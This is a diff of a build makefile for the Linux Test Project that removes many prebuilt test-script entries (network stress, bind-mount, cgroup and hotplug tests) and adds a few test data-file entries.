-module_prebuilt := testcases/bin/tcp6-uni-sackoff08
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/macsec02.sh
-module_src_files := testcases/network/virt/macsec02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test13
-module_src_files := testcases/kernel/fs/fs_bind/bind/test13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_cpuctl_test_fj.sh
-module_src_files := testcases/kernel/controllers/cpuctl_fj/run_cpuctl_test_fj.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test07-2
-module_src_files := testcases/kernel/fs/fs_bind/bind/test07-2
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ima_policy/measure.policy
-module_src_files := testcases/kernel/security/integrity/ima/policy/measure.policy
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_hierarchy_test.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_hierarchy_test/cpuset_hierarchy_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_do_kcompile_loop
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_kcompile_loop
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ln_tests.sh
-module_src_files := testcases/commands/ln/ln_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_pec_test
-module_src_files := testcases/kernel/connectors/pec/run_pec_test
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh01
-module_src_files := testcases/network/tcp_cmds/ssh/ssh01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh03
-module_src_files := testcases/network/tcp_cmds/ssh/ssh03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh02
-module_src_files := testcases/network/tcp_cmds/ssh/ssh02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.png
-module_src_files := testcases/commands/file/datafiles/in.png
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests05.sh
-module_src_files := testcases/kernel/power_management/runpwtests05.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/isofs.sh
-module_src_files := testcases/kernel/fs/iso9660/isofs.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/clockdiff01.sh
-module_src_files := testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_9_1.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_9_1.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_hotplug.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_hotplug.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/output_ipsec_conf
-module_src_files := testcases/network/stress/ns-tools/output_ipsec_conf
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip05
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/remove_password.sh
-module_src_files := testcases/kernel/security/mmc_security/remove_password.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.py
-module_src_files := testcases/commands/file/datafiles/in.py
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route6-change-if
-module_src_files := testcases/network/stress/route/route6-change-if
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.pl
-module_src_files := testcases/commands/file/datafiles/in.pl
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.tar.bz2
-module_src_files := testcases/commands/file/datafiles/in.tar.bz2
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-dstaddr
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-dstaddr
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/zram_lib.sh
-module_src_files := testcases/kernel/device-drivers/zram/zram_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-pktfld02
-module_src_files := testcases/network/stress/multicast/packet-flood/mcast6-pktfld02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-pktfld01
-module_src_files := testcases/network/stress/multicast/packet-flood/mcast6-pktfld01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route4-change-dst
-module_src_files := testcases/network/stress/route/route4-change-dst
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test22
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test22
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test23
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test23
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test20
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test20
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport09
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test26
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test26
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test27
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test27
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test24
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test24
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test25
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test25
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/data
-module_src_files := testcases/kernel/sched/clisrv/data
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ask_password.sh
-module_src_files := testcases/kernel/security/mmc_security/ask_password.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_robind.sh
-module_src_files := testcases/kernel/fs/fs_readonly/test_robind.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/check_icmpv4_connectivity
-module_src_files := testcases/network/stress/ns-tools/check_icmpv4_connectivity
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend13
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend12
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend11
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend10
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend14
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff09
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff08
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_memory_spread_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.src.rpm
-module_src_files := testcases/commands/file/datafiles/in.src.rpm
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/sctp01.sh
-module_src_files := testcases/network/sctp/sctp01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff01
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/numa01.sh
-module_src_files := testcases/kernel/numa/numa01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff03
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff02
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff05
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff04
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff07
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff06
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06
+module_prebuilt := testcases/data/stress_floppy/dumpdir/1K_file
+module_src_files := testcases/kernel/io/stress_floppy/datafiles/dumpdir/1K_file
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/data/mc_member/ManyGroups
 module_src_files := testcases/network/multicast/mc_member/datafiles/ManyGroups
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/myfunctions.sh
-module_src_files := testcases/kernel/controllers/memctl/myfunctions.sh
+module_prebuilt := testcases/data/mc_member/TooManyGroups
+module_src_files := testcases/network/multicast/mc_member/datafiles/TooManyGroups
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/rbind/test28
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test28
+module_prebuilt := testcases/data/ld01/d1.c
+module_src_files := testcases/commands/ld/datafiles/d1.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/rbind/test29
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test29
+module_prebuilt := testcases/data/stress_floppy/dd_file
+module_src_files := testcases/kernel/io/stress_floppy/datafiles/dd_file
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/vxlan01.sh
-module_src_files := testcases/network/virt/vxlan01.sh
+module_prebuilt := testcases/data/unzip01/dir.out
+module_src_files := testcases/commands/unzip/datafiles/dir.out
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ftp-download-stress01-rmt
-module_src_files := testcases/network/stress/ftp/ftp-download-stress01-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp_ipsec_vti.sh
-module_src_files := testcases/network/stress/udp/udp_ipsec_vti.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ns-echoclient
-module_src_files := testcases/network/stress/ns-tools/ns-echoclient
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cgroup_fj_stress.sh
-module_src_files := testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip11
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/set_ipv4addr
-module_src_files := testcases/network/stress/ns-tools/set_ipv4addr
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_control_test.sh
-module_src_files := testcases/kernel/controllers/memcg/control/memcg_control_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ping02.sh
-module_src_files := testcases/network/tcp_cmds/ping/ping02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftrace_regression01.sh
-module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_regression01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/sctp_ipsec_vti.sh
-module_src_files := testcases/network/stress/sctp/sctp_ipsec_vti.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff14
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff13
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff12
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff11
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff10
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_exclusive_test.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_exclusive_test/cpuset_exclusive_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_rm.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_rm.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport05
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport04
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport07
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport06
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport01
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport03
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport02
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport09
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport08
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh-stress02-rmt
-module_src_files := testcases/network/stress/ssh/ssh-stress02-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests_exclusive04.sh
-module_src_files := testcases/kernel/power_management/runpwtests_exclusive04.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fsxtest
-module_src_files := testcases/kernel/fs/fsx-linux/fsxtest
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_inherit_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_inherit_test/cpuset_inherit_testset.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend01
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.ksh
-module_src_files := testcases/commands/file/datafiles/in.ksh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic03
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test02
-module_src_files := testcases/kernel/fs/fs_bind/move/test02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport14
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic02
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/libcgroup_freezer
-module_src_files := testcases/kernel/controllers/freezer/libcgroup_freezer
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff14
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/pm_sched_mc.py
-module_src_files := testcases/kernel/power_management/lib/pm_sched_mc.py
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/daemonlib.sh
-module_src_files := testcases/lib/daemonlib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic04
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/iptables_tests.sh
-module_src_files := testcases/network/iptables/iptables_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/create_file
-module_src_files := testcases/network/stress/ns-tools/create_file
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale01
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test05
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport12
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale03
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuacct.sh
-module_src_files := testcases/kernel/controllers/cpuacct/cpuacct.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test09
-module_src_files := testcases/kernel/fs/fs_bind/bind/test09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test08
-module_src_files := testcases/kernel/fs/fs_bind/bind/test08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test01
-module_src_files := testcases/kernel/fs/fs_bind/bind/test01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test03
-module_src_files := testcases/kernel/fs/fs_bind/bind/test03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_regression_test.sh
-module_src_files := testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test05
-module_src_files := testcases/kernel/fs/fs_bind/bind/test05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test04
-module_src_files := testcases/kernel/fs/fs_bind/bind/test04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test07
-module_src_files := testcases/kernel/fs/fs_bind/bind/test07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test06
-module_src_files := testcases/kernel/fs/fs_bind/bind/test06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso09
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/unzip01/test.zip
-module_src_files := testcases/commands/unzip/datafiles/test.zip
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/arping01.sh
-module_src_files := testcases/network/tcp_cmds/arping/arping01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso03
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso02
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso01
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso07
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso06
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso05
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso04
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport03
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug07.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug07.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/sctp_ipsec.sh
-module_src_files := testcases/network/stress/sctp/sctp_ipsec.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport02
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/rpc01/file.1
-module_src_files := testcases/network/rpc/basic_tests/rpc01/datafiles/file.1
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/rpc01/file.2
-module_src_files := testcases/network/rpc/basic_tests/rpc01/datafiles/file.2
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-checksum
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-checksum
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport01
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_write_freezing.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_write_freezing.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/http-stress01-rmt
-module_src_files := testcases/network/stress/http/http-stress01-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test22
-module_src_files := testcases/kernel/fs/fs_bind/move/test22
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/zram01.sh
-module_src_files := testcases/kernel/device-drivers/zram/zram01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic01
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/testall.sh
-module_src_files := testcases/kernel/security/tomoyo/testall.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug06.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug06.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport05
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic04
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic06
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic07
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_inode_version_test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_inode_version_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic01
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic02
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic03
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_online_defrag_test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-online-defrag/ext4_online_defrag_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh_setup
-module_src_files := testcases/network/tcp_cmds/ssh/ssh_setup
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic12
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic13
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic10
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic11
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic14
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp-upload-stress02-rmt
-module_src_files := testcases/network/stress/ftp/ftp-upload-stress02-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.mp3
-module_src_files := testcases/commands/file/datafiles/in.mp3
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup14
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic04
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup12
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup13
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup10
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/add_ipv6addr
-module_src_files := testcases/network/stress/ns-tools/add_ipv6addr
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_memory_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests_exclusive03.sh
-module_src_files := testcases/kernel/power_management/runpwtests_exclusive03.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rlogin01
-module_src_files := testcases/network/tcp_cmds/rlogin/rlogin01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug05.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route6-rmmod
-module_src_files := testcases/network/stress/route/route6-rmmod
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/check_icmpv6_connectivity
-module_src_files := testcases/network/stress/ns-tools/check_icmpv6_connectivity
-include $(ltp_build_prebuilt)
-
